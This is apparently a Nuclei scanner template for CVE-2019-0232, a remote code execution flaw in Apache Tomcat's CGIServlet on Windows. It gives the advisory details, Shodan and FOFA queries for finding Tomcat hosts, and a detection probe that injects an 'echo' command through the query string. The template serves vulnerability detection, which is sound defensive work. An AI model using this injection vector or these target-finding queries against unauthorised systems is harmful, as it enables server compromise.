id: CVE-2019-0232 info: name: Apache Tomcat `CGIServlet` enableCmdLineArguments - Remote Code Execution author: DhiyaneshDk severity: high description: | When running on Windows with enableCmdLineArguments enabled, the CGI Servlet in Apache Tomcat 9.0.0.M1 to 9.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 is vulnerable to Remote Code Execution due to a bug in the way the JRE passes command line arguments to Windows. The CGI Servlet is disabled by default. The CGI option enableCmdLineArguments is disable by default in Tomcat 9.0.x (and will be disabled by default in all versions in response to this vulnerability). For a detailed explanation of the JRE behaviour, see Markus Wulftange's blog (https-//codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html) and this archived MSDN blog (https-//web.archive.org/web/20161228144344/https-//blogs.msdn.microsoft.com/twistylittlepassagesallalike/2011/04/23/everyone-quotes-command-line-arguments-the-wrong-way/). impact: | Attackers can execute arbitrary system commands on Windows systems when CGI Servlet is enabled with enableCmdLineArguments, leading to complete server compromise. remediation: | Upgrade to Tomcat 9.0.18, 8.5.40, 7.0.94 or later, and ensure enableCmdLineArguments is disabled. reference: - http://packetstormsecurity.com/files/153506/Apache-Tomcat-CGIServlet-enableCmdLineArguments-Remote-Code-Execution.html - http://seclists.org/fulldisclosure/2019/May/4 - https://access.redhat.com/errata/RHSA-2019:1712 - https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/ - https://codewhitesec.blogspot.com/2016/02/java-and-command-line-injections-in-windows.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2019-0232 cwe-id: CWE-78 epss-score: 0.94221 epss-percentile: 0.99927 cpe: cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* metadata: vendor: apache product: tomcat shodan-query: - http.html:"apache tomcat" - http.title:"apache tomcat" - http.html:"jk status manager" - cpe:"cpe:2.3:a:apache:tomcat" fofa-query: - body="jk status manager" - body="apache tomcat" - title="apache tomcat" google-query: intitle:"apache tomcat" tags: cve,cve2019,packetstorm,seclists,apache,tomcat,vkev,vuln variables: sid: "{{rand_text_alpha(10)}}" http: - raw: - | GET /?&echo+{{sid}} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - "{{sid}}" - type: word negative: true part: body words: - "echo {{sid}}" - "echo+{{sid}}" - type: word part: content_type words: - "text/plain" - type: status status: - 200 # digest: 4a0a0047304502204c8e485962b7667d592f22676a54b1c572a8d6b4891dfc73bff7932114e300a0022100c792f0335f48a48f8107e779572b550a68dee73733b88a2d1cba7afe321b1253:922c64590222798bb761d5b6d8e72950